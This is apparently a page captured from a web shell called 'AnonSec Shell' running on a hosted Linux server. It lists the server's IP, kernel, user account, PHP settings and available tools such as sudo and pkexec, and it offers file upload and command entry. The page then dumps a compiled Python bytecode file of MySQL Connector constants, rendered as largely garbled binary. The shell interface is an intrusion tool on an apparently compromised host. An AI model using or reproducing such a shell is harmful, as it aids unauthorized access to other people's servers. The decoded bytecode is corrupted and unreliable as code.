AnonSec Shell
Server IP : 208.109.241.143  /  Your IP : 18.221.4.137
Web Server : Apache
System : Linux 143.241.109.208.host.secureserver.net 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
User : internationaljou ( 1003)
PHP Version : 8.1.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/opt/nydus/ops/mysql/connector/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/var/opt/nydus/ops/mysql/connector/__pycache__/constants.cpython-38.pyc
U

;�g���@s�UdZddlZddlmZmZddlmZmZmZm	Z	m
Z
mZmZm
Z
ddlmZmZddlmZddlmZmZd	Zeed
<dZeed<d
Zeed<dZdddddddddddddddddddddddddddddddddddddddddddddddddddd�3Zeee	eeeeffed<dZeeeefed<eeZ eeed<eeed�dd�Z!eeeed�dd �Z"Gd!d"�d"e�Z#Gd#d$�d$e#�Z$Gd%d&�d&e#�Z%Gd'd(�d(e$�Z&Gd)d*�d*e�Z'Gd+d,�d,e#e'd-�Z(Gd.d/�d/e$�Z)Gd0d1�d1e$�Z*Gd2d3�d3e�Z+Gd4d5�d5e#e+d-�Z,Gd6d7�d7e#�Z-Gd8d9�d9�Z.Gd:d;�d;e#�Z/d<d=d>d?d@dAdBdCdDdEg
Z0eeedF<dGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\d]d^d_d`dadbdcdddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzd{d|d}d~dd�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�dɜ�Z1eeefed�<d�d�d�d�d�dМZ2eeefed�<e1e2dҜZ3eeeeeffed�<e1�4�e2�4�dҜZ5eee
efed�<dS)�z+Various MySQL constants and character sets.�N)�ABC�ABCMeta)�Any�Dict�List�Optional�Sequence�Tuple�Union�
ValuesView�)�MYSQL_CHARACTER_SETS�MYSQL_CHARACTER_SETS_57)�ProgrammingError)�APPROVED_TLS_VERSIONS�DEPRECATED_TLS_VERSIONS� �NET_BUFFER_LENGTH��MAX_MYSQL_TABLE_COLUMNS��PARAMETER_COUNT_AVAILABLE�f�z	127.0.0.1i�T�utf8mb4F)3Zdatabase�user�passwordZ	password1Z	password2Z	password3�host�portZunix_socketZuse_unicode�charset�	collationZconverter_classZconverter_str_fallbackZ
autocommitZ	time_zoneZsql_modeZget_warningsZraise_on_warningsZconnection_timeoutZclient_flags�compressZbuffered�rawZssl_caZssl_certZssl_keyZssl_verify_certZssl_verify_identityZ
ssl_cipherZtls_ciphersuitesZssl_disabledZtls_versions�passwd�db�connect_timeoutZdsnZ
force_ipv6Zauth_pluginZallow_local_infileZallow_local_infile_in_pathZconsume_resultsZ
conn_attrsZdns_srvZuse_pureZkrb_service_principalZoci_config_fileZoci_config_profileZwebauthn_callbackZkerberos_auth_modeZinit_command�DEFAULT_CONFIGURATION)Z	pool_nameZ	pool_sizeZpool_reset_session�
CNX_POOL_ARGS�TLS_VERSIONS)�flag�flags�returncCs||@dkrdSdS)z.Checks if the flag is set

    Returns booleanrTF�)r)r*r,r,�L/opt/nydus/tmp/pip-target-d6ig7x5r/lib64/python/mysql/connector/constants.py�flag_is_setnsr.)�name�new_name�valuer+cCs tjd|�d|�d�td�|S)aRaise a deprecation warning and advise a new option name.

    Args:
        name (str): The name of the option.
        new_name (str): The new option name.
        value (int): The value of the option.

    Returns:
        int: The value of the option.
    zThe option 'z' has been deprecated, use 'z
' instead.��category)�warnings�warn�DeprecationWarning)r/r0r1r,r,r-�_obsolete_optionws
�r7c@s�eZdZUdZdZeed<iZeee	e
effed<eeeed�dd��Z
ee
eeee	eeffd�d	d
��Zeeeeefd�dd
��ZdS)�
_ConstantszBase class for constants.r�prefix�desc�r/r+c	Cs0z|j|dWSttfk
r*YdSXdS)z!Get description of given constantrN)r:�
IndexError�KeyError��clsr/r,r,r-�get_desc�sz_Constants.get_desc��setidr+cCs,|j��D]\}}|d|kr
|Sq
dS)z$Get information about given constantrN)r:�items)r?rBr/�infor,r,r-�get_info�s
z_Constants.get_info�r+c
CsRg}zdd�|j��D�}Wn0ttfk
rL}zd|��}W5d}~XYnX|S)z)get full information about given constantcSs"g|]\}}|�d|d���qS)z : rr,)�.0�k�vr,r,r-�
<listcomp>�sz,_Constants.get_full_info.<locals>.<listcomp>z(No information found in constant class. N)r:rC�AttributeErrorr<)r?�res�errr,r,r-�
get_full_info�sz_Constants.get_full_infoN)�__name__�
__module__�__qualname__�__doc__r9�str�__annotations__r:rr	�int�classmethodrr@r
rErrNr,r,r,r-r8�s
&r8c@s(eZdZdZeeeed�dd��ZdS)�_Flagsz'Base class for classes describing flags)r1r+cCs2g}|j��D]\}}||d@r|�|�q|S)z@Get the name of all bits set

        Returns a list of strings.r)r:rC�append)r?r1rLr/rDr,r,r-�get_bit_info�s
z_Flags.get_bit_infoN)	rOrPrQrRrVrUrrSrYr,r,r,r-rW�srWc@s�eZdZUdZdZeed<dZeed<dZ	eed<dZ
eed	<d
Zeed<dZeed
<dZ
eed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<d Zeed!<d"Zeed#<d$Zeed%<d&Zeed'<d(Zeed)<d*Zeed+<d,Zeed-<d.Zeed/<d0Zeed1<d2Zeed3<d4Z eed5<d6Z!eed7<d8Z"eed9<d:Z#eed;<d<Z$eed=<edfe	dfe
d	fedfed
fe
dfedfedfedfedfedfedfedfedfed!fed#fed%fed'fed)fed+fed-fed/fed1fed3fe d5fe!d7fe"d9fe#d;fe$d=fd>�Z%e&ee'eeffed?<e(e)ed@�dAdB��Z*e(e)ed@�dCdD��Z+e(e)ed@�dEdF��Z,e(e)ed@�dGdH��Z-dIS)J�	FieldTypeaYMySQL Field Types.

    This class provides all supported MySQL field or data types. They can be useful
    when dealing with raw data or defining your own converters. The field type is
    stored with every cursor in the description for each column.

    The `FieldType` class shouldn't be instantiated.

    Examples:
        The following example shows how to print the name of the data type for
        each column in a result set.

        ```
        from __future__ import print_function
        import mysql.connector
        from mysql.connector import FieldType

        cnx = mysql.connector.connect(user='scott', database='test')
        cursor = cnx.cursor()

        cursor.execute(
        "SELECT DATE(NOW()) AS `c1`, TIME(NOW()) AS `c2`, "
        "NOW() AS `c3`, 'a string' AS `c4`, 42 AS `c5`")
        rows = cursor.fetchall()

        for desc in cursor.description:
            colname = desc[0]
            coltype = desc[1]
            print("Column {} has type {}".format(
                colname, FieldType.get_info(coltype)))

        cursor.close()
        cnx.close()
        ```
    ZFIELD_TYPE_r9r�DECIMALr�TINY��SHORT��LONG��FLOAT��DOUBLE��NULL��	TIMESTAMPr�LONGLONG�	�INT24�
�DATE��TIME��DATETIME�
�YEAR��NEWDATE��VARCHAR��BIT���VECTOR��JSON��
NEWDECIMAL��ENUM��SET��	TINY_BLOB��MEDIUM_BLOB��	LONG_BLOB��BLOB��
VAR_STRING��STRING��GEOMETRY)r[r\r^r`rbrdrfrhrirkrmrorqrsrurwryr{r}rr�r�r�r�r�r�r�r�r�r:rFcCs|j|j|j|jgS)z Get the list of all string types)rwr�r�r��r?r,r,r-�get_string_typess
�zFieldType.get_string_typescCs|j|j|j|jgS)z Get the list of all binary types)r�r�r�r�r�r,r,r-�get_binary_types(s
�zFieldType.get_binary_typescCs0|j|j|j|j|j|j|j|j|j|j	|j
gS)z Get the list of all number types)r[rr\r^r`rbrdrirkryrsr�r,r,r-�get_number_types2s�zFieldType.get_number_typescCs|j|jgS)z#Get the list of all timestamp types)rqrhr�r,r,r-�get_timestamp_typesCs�zFieldType.get_timestamp_typesN).rOrPrQrRr9rSrTr[rUr\r^r`rbrdrfrhrirkrmrorqrsrurwryr{r}rr�r�r�r�r�r�r�r�r�r:rr	rVrr�r�r�r�r,r,r,r-rZ�s�
$� 		rZc@s~eZdZUdZdZeed<dZeed<dZ	eed<dZ
eed	<d
Zeed<dZeed
<dZ
eed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<d Zeed!<d"Zeed#<d Zeed$<d%Zeed&<d'Zeed(<d)Zeed*<d+Zeed,<d-Zeed.<d/Zeed0<d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdH�Ze ee!eeffedI<dJS)K�	FieldFlagz_MySQL Field Flags

    Field flags as found in MySQL sources mysql-src/include/mysql_com.h
    r�_prefixr�NOT_NULLr]�PRI_KEYra�
UNIQUE_KEYr�MULTIPLE_KEYrxr�� �UNSIGNED�@�ZEROFILL��BINARY�r���AUTO_INCREMENT�rh�r�r�NO_DEFAULT_VALUEr�
ON_UPDATE_NOW�@�NUM���PART_KEY�GROUP��UNIQUE��BINCMP��GET_FIXED_FIELDS��FIELD_IN_PART_FUNC��FIELD_IN_ADD_INDEX� �FIELD_IS_RENAMED)rzField can't be NULL)r]zField is part of a primary key)razField is part of a unique key)rzField is part of a key)rxzField is a blob)r�zField is unsigned)r�zField is zerofill)r�zField is binary  )r�zfield is an enum)r�zfield is a autoincrement field)r�zField is a timestamp)r�zfield is a set)rz Field doesn't have default value)rzField is set to NOW on UPDATE)r�zField is num (for clients))r�zIntern; Part of some key)r�zIntern: Group field)r��Intern: Used by sql_yacc)r�r�)r�zUsed to get fields in item tree)r�zField part of partition func)r�zIntern: Field used in ADD INDEX)r�zIntern: Field is being renamed)r�r�r�r�r�r�r�r�r�r�rhr�r�r�r�r�r�r�r�r�r�r�r�r:N)"rOrPrQrRr�rSrTr�rUr�r�r�r�r�r�r�r�r�rhr�r�r�r�r�r�r�r�r�r�r�r�r:rr	r,r,r,r-r�Lsb
�r�cs(eZdZdZeed��fdd�Z�ZS)�
ServerCmdMetazClientFlag Metaclass.r;cs.d}||kr"tjd|�d�td�t��|�S)N)�
FIELD_LIST�REFRESH�SHUTDOWN�PROCESS_INFO�PROCESS_KILLzThe option 'ServerCmd.z8' is deprecated and will be removed in a future release.r2)r4r5r6�super�__getattribute__)r?r/Zdeprecated_options��	__class__r,r-r��s
�zServerCmdMeta.__getattribute__)rOrPrQrRrSrr��
__classcell__r,r,r�r-r��sr�c!@s�eZdZUdZdZeed<dZeed<dZ	eed<dZ
eed	<d
Zeed<dZeed
<dZ
eed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<d Zeed!<d"Zeed#<d$Zeed%<d&Zeed'<d(Zeed)<d*Zeed+<d,Zeed-<d.Zeed/<d0Zeed1<d2Zeed3<d4Z eed5<d6Z!eed7<d8Z"eed9<d:Z#eed;<d<Z$eed=<d>Z%eed?<d@Z&eedA<dBZ'eedC<dDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\d]d^d_d`dadbdcdd� Z(e)ee*eeffede<dfS)g�	ServerCmdzMySQL Server CommandsZCOM_r�r�SLEEPr�QUITr]�INIT_DBr_�QUERYrar�rc�	CREATE_DBre�DROP_DBrgr�rr�rj�
STATISTICSrlr�rn�CONNECTrpr�rr�DEBUGrt�PINGrvrorx�DELAYED_INSERT��CHANGE_USER��BINLOG_DUMP��
TABLE_DUMP��CONNECT_OUT��REGISTER_REPLICA��STMT_PREPARE��STMT_EXECUTE��STMT_SEND_LONG_DATA��
STMT_CLOSE��
STMT_RESET��
SET_OPTION��
STMT_FETCH��DAEMON��BINLOG_DUMP_GTID��RESET_CONNECTION)rr�)rr�)r]r�)r_r�)rar�)rcr�)rer�)rgr�)rr�)rjr�)rlr�)rnr�)rpr�)rrr�)rtr�)rvro)rxr�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�) r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�ror�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r:N)+rOrPrQrRr�rSrTr�rUr�r�r�r�r�r�r�r�r�r�r�r�r�r�ror�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r:rr	r,r,r,r-r��s�
�r�)�	metaclassc@seZdZUdZdZeed<dZeed<dZeed<dZ	eed	<d
Z
eed<dZeed
<dZeed<dZ
eed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<d Zeed!<d"Zeed#<d$Zeed%<d&Zeed'<d(Zeed)<d*Zeed+<d,Zeed-<d.Zeed/<d0Zeed1<d0Zeed2<d3Zeed4<d5Z eed6<d7Z!eed8<d9Z"eed:<d;Z#eed<<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdTdUdVdWdXdY�Z$e%e&e'ee&ffedZ<eee	eeeeeeg	Z(e)eed[<e*ed\�d]d^��Z+d_S)`�
ClientFlaga�MySQL Client Flags.

    Client options as found in the MySQL sources mysql-src/include/mysql_com.h.

    This class provides constants defining MySQL client flags that can be used
    when the connection is established to configure the session. The `ClientFlag`
    class is available when importing mysql.connector.

    The `ClientFlag` class shouldn't be instantiated.

    Examples:
        ```
        >>> import mysql.connector
        >>> mysql.connector.ClientFlag.FOUND_ROWS
        2
        ```
    r�LONG_PASSWDr]�
FOUND_ROWSra�	LONG_FLAGr�CONNECT_WITH_DBrx�	NO_SCHEMAr��COMPRESSr��ODBCr��LOCAL_FILESr��IGNORE_SPACEr��PROTOCOL_41r��INTERACTIVEr��SSLr�IGNORE_SIGPIPEr�TRANSACTIONSr��RESERVEDr��SECURE_CONNECTIONr��MULTI_STATEMENTSr��
MULTI_RESULTSr��PS_MULTI_RESULTSr��PLUGIN_AUTHr��CONNECT_ARGSr��PLUGIN_AUTH_LENENC_CLIENT_DATA�@�CAN_HANDLE_EXPIRED_PASSWORDS���SESION_TRACK�
SESSION_TRACK��
DEPRECATE_EOF��CLIENT_QUERY_ATTRIBUTES�@�SSL_VERIFY_SERVER_CERT��REMEMBER_OPTIONSi�MULTI_FACTOR_AUTHENTICATION)rzNew more secure passwords)r]zFound instead of affected rows)razGet all column flags)rzOne can specify db on connect)rxz!Don't allow database.table.column)r�zCan use compression protocol)r�zODBC client)r�zCan use LOAD DATA LOCAL)r�zIgnore spaces before '')r�zNew 4.1 protocol)r�zThis is an interactive client)r�zSwitch to SSL after handshake)rzIGNORE sigpipes)rzClient knows about transactions)r�zOld flag for 4.1 protocol)r�zNew 4.1 authentication)r�z!Enable/disable multi-stmt support)r�zEnable/disable multi-results)r�zMulti-results in PS-protocol)r�z%Client supports plugin authentication)r�z%Client supports connection attributes)r�zAEnable authentication response packet to be larger than 255 bytes)r	zADon't close the connection for a connection with expired password)rz3Capable of handling server state change information)rz!Client no longer needs EOF packet)rz/Support optional extension for query parameters)rr)rr)r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrrr
rr
rrrrr:�defaultrFcCsd}|jD]}||O}q
|S)zbGet the default client options set

        Returns a flag with all the default client options setr)r)r?r*�optionr,r,r-�get_defaultSs

zClientFlag.get_defaultN),rOrPrQrRr�rUrTr�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrrr
rr
rrrrrr:rrSr	rrrVrr,r,r,r-r��s�
�0�r�c@seZdZUdZdZeed<dZeed<dZ	eed<dZ
eed	<d
Zeed<dZeed
<dZ
eed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<d d!d"d#d$d%d&d'd(d)d*d+d,d-d.�Zeeeeeffed/<d0S)1�
ServerFlagzeMySQL Server Flags

    Server flags as found in the MySQL sources mysql-src/include/mysql_com.h
    ZSERVER_r�r�STATUS_IN_TRANSr]�STATUS_AUTOCOMMITr�MORE_RESULTS_EXISTSrx�QUERY_NO_GOOD_INDEX_USEDr��QUERY_NO_INDEX_USEDr��STATUS_CURSOR_EXISTSr��STATUS_LAST_ROW_SENTr��STATUS_DB_DROPPEDr��STATUS_NO_BACKSLASH_ESCAPESr��SERVER_STATUS_METADATA_CHANGEDr��SERVER_QUERY_WAS_SLOWr�SERVER_PS_OUT_PARAMSr�SERVER_STATUS_IN_TRANS_READONLYr��SERVER_SESSION_STATE_CHANGED)rzTransaction has started)r]zServer in auto_commit mode)rzMulti query - next query exists)rxr)r�r)r�zESet when server opened a read-only non-scrollable cursor for a query.)r�z(Set when a read-only cursor is exhausted)r�zA database was dropped)r�r)r�z�Set if after a prepared statement reprepare we discovered that the new statement returns a different number of result set columns.)r�r)rz5To mark ResultSet containing output parameter values.)rz>Set if multi-statement transaction is a read-only transaction.)r�zVSession state has changed on the server because of the execution of the last statement)ZSERVER_STATUS_IN_TRANSZSERVER_STATUS_AUTOCOMMITZSERVER_MORE_RESULTS_EXISTSZSERVER_QUERY_NO_GOOD_INDEX_USEDZSERVER_QUERY_NO_INDEX_USEDZSERVER_STATUS_CURSOR_EXISTSZSERVER_STATUS_LAST_ROW_SENTZSERVER_STATUS_DB_DROPPEDZ"SERVER_STATUS_NO_BACKSLASH_ESCAPESr$r%r&r'r(r:N)rOrPrQrRr�rSrTrrUrrrrr r!r"r#r$r%r&r'r(r:rr	r,r,r,r-r^s>
�rc@s"eZdZdZeed�dd��ZdS)�RefreshOptionMetazRefreshOption Metaclass.rFcCstddtj�S)zzReturn the deprecated alias of RefreshOption.REPLICA.

        Raises a warning about this attribute deprecation.
        zRefreshOption.SLAVEzRefreshOption.REPLICA)r7�
RefreshOption�REPLICA��selfr,r,r-�SLAVE�s
�zRefreshOptionMeta.SLAVEN)rOrPrQrR�propertyrUr.r,r,r,r-r)�sr)c@s�eZdZUdZdZeed<dZeed<dZ	eed<dZ
eed	<d
Zeed<dZeed
<dZ
eed<dddddddd�Zeeeeeffed<dS)r*zbMySQL Refresh command options.

    Options used when sending the COM_REFRESH server command.
    ZREFRESH_r�r�GRANTr]�LOGra�TABLESr�HOSTrx�STATUSr�r+)rzRefresh grant tables)r]zStart on new log file)razclose all tables)rzFlush host cache)rxzFlush status variables)r�z,Reset source info and restart replica thread)r�z'Deprecated option; use REPLICA instead.)r0r1r2r3r4r+r.r:N)rOrPrQrRr�rSrTr0rUr1r2r3r4r+r:rr	r,r,r,r-r*�s 
�r*c	@s�eZdZUdZdZeed<dZeed<dZ	eed<dZ
eed	<d
Zeed<dZeed
<dZ
eed<dZeed<dZeed<edfe	dfe
dfedfedfe
dfedfedfd�Zeeeeeffed<dS)�ShutdownTypezVMySQL Shutdown types

    Shutdown types used by the COM_SHUTDOWN server command.
    rr�r�SHUTDOWN_DEFAULTr�SHUTDOWN_WAIT_CONNECTIONSr]�SHUTDOWN_WAIT_TRANSACTIONSr�SHUTDOWN_WAIT_UPDATESrx�SHUTDOWN_WAIT_ALL_BUFFERSr��SHUTDOWN_WAIT_CRITICAL_BUFFERSr��
KILL_QUERYr��KILL_CONNECTIONz%defaults to SHUTDOWN_WAIT_ALL_BUFFERSz'wait for existing connections to finishz!wait for existing trans to finishz#wait for existing updates to finishz-flush InnoDB and other storage engine buffersz@don't flush InnoDB buffers, flush other storage engines' buffersz(no description))r6r7r8r9r:r;r<r=r:N)rOrPrQrRr�rSrTr6rUr7r8r9r:r;r<r=r:rr	r,r,r,r-r5�s>
�������r5c@s�eZdZUdZdZeedfed<dd�dd�Zeedfdd	�d
d�Z	eee
e
fd�d
d�Zee
d�dd�Ze
ee
fee
e
efd�dd�Zdee
ee
fee
eee
e
fd�dd�Zee
dfd�dd�ZdS)�CharacterSetaLMySQL supported character sets and collations

    List of character sets with their collations supported by MySQL. This
    maps to the character set we get from the server within the handshake
    packet.

    The list is hardcode so we avoid a database query when getting the
    name of the used character set or collation.
    )rrrr��T�W�X.�slash_charsetsNrFcCst|_d|_dS)N)rcrg)r�_desc�_mysql_versionr,r,r,r-�__init__szCharacterSet.__init__)�versionr+cCs"|dd�|_|jdkrt|_dS)z�Set the MySQL major version and change the charset mapping if is 5.7.

        Args:
            version (tuple): MySQL version tuple.
        Nr]�rr)rDr
rC)r-rFr,r,r-�set_mysql_version
s
zCharacterSet.set_mysql_versionrAcCs@z|j|dd�WStk
r:td|�d��d�YnXdS)aRetrieves character set information as tuple using an ID

        Retrieves character set and collation information based on the
        given MySQL ID.

        Raises ProgrammingError when character set is not supported.

        Returns a tuple.
        rr]�Character set '�
' unsupportedN)rCr<r)r-rBr,r,r-rEs
zCharacterSet.get_infor;cCs|�|�\}}|�d|��S)z�Retrieves character set information as string using an ID

        Retrieves character set and collation information based on the
        given MySQL ID.

        Returns a tuple.
        �/)rE)r-r/rr r,r,r-r@#szCharacterSet.get_desc)rr+c
Cs�t|t�rbz|j|}|d|d|fWSttfk
r`}ztd|�d��|�W5d}~XYnXt|j�D]@\}}|dkr~ql|d|krl|ddkrl|d|d|fSqltd|�d���dS)	z�Retrieves the default collation for given character set

        Raises ProgrammingError when character set is not supported.

        Returns list (collation, charset, index)
        rrzCharacter set ID 'rJNr]TrI)�
isinstancerUrCr<r=r�	enumerate)r-rrDrM�cidr,r,r-�get_default_collation.s 


��z"CharacterSet.get_default_collation)rr r+c
Cs�d}t|t�rbz|j|}||d|dfWStk
r`}ztd|�d��|�W5d}~XYnX|dkrx|jdkrxd}|dk	r�|dkr�|�|�}|d	|d|dfS|dk�r|dk	�rt|j�D]4\}}|dkr�q�||dkr�||d|dfSq�td
|�d���t|j�D]J\}}|dk�r,�q|d|k�r|d|k�r||d|dfS�q|�|�}td
|�d���dS)aEGet character set information using charset name and/or collation

        Retrieves character set and collation information given character
        set name and/or a collation name.
        If charset is an integer, it will look up the character set based
        on the MySQL's ID.
        For example:
            get_charset_info('utf8',None)
            get_charset_info(collation='utf8_general_ci')
            get_charset_info(47)

        Raises ProgrammingError when character set is not supported.

        Returns a tuple with (id, characterset name, collation)
        NrrzCharacter set ID z unknown)�utf8zutf-8rGrr]zCollation 'z	' unknown)rLrUrCr<rrDrOrM)r-rr rDrMrN�_r,r,r-�get_charset_infoFs4

$


zCharacterSet.get_charset_infocCs6g}|jD]"}|r
|d|kr
|�|d�q
t|�S)z^Retrieves a list with names of all supproted character sets

        Returns a tuple.
        r)rCrX�tuple)r-rLrDr,r,r-�
get_supportedts

zCharacterSet.get_supported)NN)rOrPrQrRrBr	rUrTrErHrSrEr@r
rOrrRrTr,r,r,r-r>�s

"��.r>c@s�eZdZUdZdZeed<dZeed<dZeed<dZ	eed<dZ
eed<dZeed<d	Zeed	<d
Z
eed
<dZeed<dZeed<d
Zeed
<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZeed<dZ eed<dZ!eed<dZ"eed<d Z#eed <d!Z$eed!<d"Z%eed"<d#Z&eed#<e'ee(ed$�d%d&��Z)e'e*e(ed'�d(d)��Z+e'e,ed*fd+�d,d-��Z-d.S)/�SQLModea.MySQL SQL Modes

    The numeric values of SQL Modes are not interesting, only the names
    are used when setting the SQL_MODE system variable using the MySQL
    SET command.

    The `SQLMode` class shouldn't be instantiated.

    See http://dev.mysql.com/doc/refman/5.6/en/server-sql-mode.html
    ZMODE_r��
REAL_AS_FLOAT�PIPES_AS_CONCAT�ANSI_QUOTESr��NOT_USED�ONLY_FULL_GROUP_BY�NO_UNSIGNED_SUBTRACTION�NO_DIR_IN_CREATE�
POSTGRESQL�ORACLE�MSSQL�DB2�MAXDB�NO_KEY_OPTIONS�NO_TABLE_OPTIONS�NO_FIELD_OPTIONS�MYSQL323�MYSQL40�ANSI�NO_AUTO_VALUE_ON_ZERO�NO_BACKSLASH_ESCAPES�STRICT_TRANS_TABLES�STRICT_ALL_TABLES�NO_ZERO_IN_DATE�NO_ZERO_DATE�
INVALID_DATES�ERROR_FOR_DIVISION_BY_ZERO�TRADITIONAL�NO_AUTO_CREATE_USER�HIGH_NOT_PRECEDENCE�NO_ENGINE_SUBSTITUTION�PAD_CHAR_TO_FULL_LENGTHr;cCst�dS�N��NotImplementedErrorr>r,r,r-r@�szSQLMode.get_descrAcCst�dSrurv)r?rBr,r,r-rE�szSQLMode.get_info.rFcCsFg}t|���D](}|�d�stt||�d�s|�|�qtt|��S)z�Returns a sequence of all available SQL Modes

        This class method returns a tuple containing all SQL Mode names. The
        names will be alphabetically sorted.

        Returns a tuple.
        rQ�__call__)�vars�keys�
startswith�hasattr�getattrrXrS�sorted)r?rL�keyr,r,r-rN�s
	zSQLMode.get_full_infoN).rOrPrQrRr�rSrTrVrWrXr�rYrZr[r\r]r^r_r`rarbrcrdrerfrgrhrirjrkrlrmrnrorprqrrrsrtrVrr@rUrEr	rNr,r,r,r-rU�sP
rU�_pid�	_platformZ_source_hostZ_client_nameZ_client_licenseZ_client_version�_osZ_connector_nameZ_connector_licenseZ_connector_version�
CONN_ATTRS_DNzNULL-SHA256z
AES128-SHA256z
AES256-SHA256zAES128-GCM-SHA256zAES256-GCM-SHA384zDH-RSA-AES128-SHA256zDH-RSA-AES256-SHA256zDH-RSA-AES128-GCM-SHA256zDH-RSA-AES256-GCM-SHA384zDH-DSS-AES128-SHA256zDH-DSS-AES256-SHA256zDH-DSS-AES128-GCM-SHA256zDH-DSS-AES256-GCM-SHA384zDHE-RSA-AES128-SHA256zDHE-RSA-AES256-SHA256zDHE-RSA-AES128-GCM-SHA256zDHE-RSA-AES256-GCM-SHA384zDHE-DSS-AES128-SHA256zDHE-DSS-AES256-SHA256zDHE-DSS-AES128-GCM-SHA256zDHE-DSS-AES256-GCM-SHA384zECDHE-RSA-AES128-SHA256zECDHE-RSA-AES256-SHA384zECDHE-RSA-AES128-GCM-SHA256zECDHE-RSA-AES256-GCM-SHA384zECDHE-ECDSA-AES128-SHA256zECDHE-ECDSA-AES256-SHA384zECDHE-ECDSA-AES128-GCM-SHA256zECDHE-ECDSA-AES256-GCM-SHA384zADH-AES128-SHA256zADH-AES256-SHA256zADH-AES128-GCM-SHA256zADH-AES256-GCM-SHA384z
AES128-CCMz
AES256-CCMzDHE-RSA-AES128-CCMzDHE-RSA-AES256-CCMzAES128-CCM8zAES256-CCM8zDHE-RSA-AES128-CCM8zDHE-RSA-AES256-CCM8zECDHE-ECDSA-AES128-CCMzECDHE-ECDSA-AES256-CCMzECDHE-ECDSA-AES128-CCM8zECDHE-ECDSA-AES256-CCM8zARIA128-GCM-SHA256zARIA256-GCM-SHA384zDHE-RSA-ARIA128-GCM-SHA256zDHE-RSA-ARIA256-GCM-SHA384zDHE-DSS-ARIA128-GCM-SHA256zDHE-DSS-ARIA256-GCM-SHA384zECDHE-ECDSA-ARIA128-GCM-SHA256zECDHE-ECDSA-ARIA256-GCM-SHA384zECDHE-ARIA128-GCM-SHA256zECDHE-ARIA256-GCM-SHA384zPSK-ARIA128-GCM-SHA256zPSK-ARIA256-GCM-SHA384zDHE-PSK-ARIA128-GCM-SHA256zDHE-PSK-ARIA256-GCM-SHA384zRSA-PSK-ARIA128-GCM-SHA256zRSA-PSK-ARIA256-GCM-SHA384zECDHE-ECDSA-CAMELLIA128-SHA256zECDHE-ECDSA-CAMELLIA256-SHA384zECDHE-RSA-CAMELLIA128-SHA256zECDHE-RSA-CAMELLIA256-SHA384zPSK-NULL-SHAzDHE-PSK-NULL-SHAzRSA-PSK-NULL-SHAzPSK-RC4-SHAzPSK-3DES-EDE-CBC-SHAzPSK-AES128-CBC-SHAzPSK-AES256-CBC-SHAzDHE-PSK-RC4-SHAzDHE-PSK-3DES-EDE-CBC-SHAzDHE-PSK-AES128-CBC-SHAzDHE-PSK-AES256-CBC-SHAzRSA-PSK-RC4-SHAzRSA-PSK-3DES-EDE-CBC-SHAzRSA-PSK-AES128-CBC-SHAzRSA-PSK-AES256-CBC-SHAzPSK-AES128-GCM-SHA256zPSK-AES256-GCM-SHA384zDHE-PSK-AES128-GCM-SHA256zDHE-PSK-AES256-GCM-SHA384zRSA-PSK-AES128-GCM-SHA256zRSA-PSK-AES256-GCM-SHA384zPSK-AES128-CBC-SHA256zPSK-AES256-CBC-SHA384zPSK-NULL-SHA256zPSK-NULL-SHA384zDHE-PSK-AES128-CBC-SHA256zDHE-PSK-AES256-CBC-SHA384zDHE-PSK-NULL-SHA256zDHE-PSK-NULL-SHA384zRSA-PSK-AES128-CBC-SHA256zRSA-PSK-AES256-CBC-SHA384zRSA-PSK-NULL-SHA256zRSA-PSK-NULL-SHA384zECDHE-PSK-RC4-SHAzECDHE-PSK-3DES-EDE-CBC-SHAzECDHE-PSK-AES128-CBC-SHAzECDHE-PSK-AES256-CBC-SHAzECDHE-PSK-AES128-CBC-SHA256zECDHE-PSK-AES256-CBC-SHA384zECDHE-PSK-NULL-SHAzECDHE-PSK-NULL-SHA256zECDHE-PSK-NULL-SHA384zPSK-CAMELLIA128-SHA256zPSK-CAMELLIA256-SHA384zDHE-PSK-CAMELLIA128-SHA256zDHE-PSK-CAMELLIA256-SHA384zRSA-PSK-CAMELLIA128-SHA256zRSA-PSK-CAMELLIA256-SHA384zECDHE-PSK-CAMELLIA128-SHA256zECDHE-PSK-CAMELLIA256-SHA384zPSK-AES128-CCMzPSK-AES256-CCMzDHE-PSK-AES128-CCMzDHE-PSK-AES256-CCMzPSK-AES128-CCM8zPSK-AES256-CCM8zDHE-PSK-AES128-CCM8zDHE-PSK-AES256-CCM8zECDHE-RSA-CHACHA20-POLY1305zECDHE-ECDSA-CHACHA20-POLY1305zDHE-RSA-CHACHA20-POLY1305zPSK-CHACHA20-POLY1305zECDHE-PSK-CHACHA20-POLY1305zDHE-PSK-CHACHA20-POLY1305zRSA-PSK-CHACHA20-POLY1305)�ZTLS_RS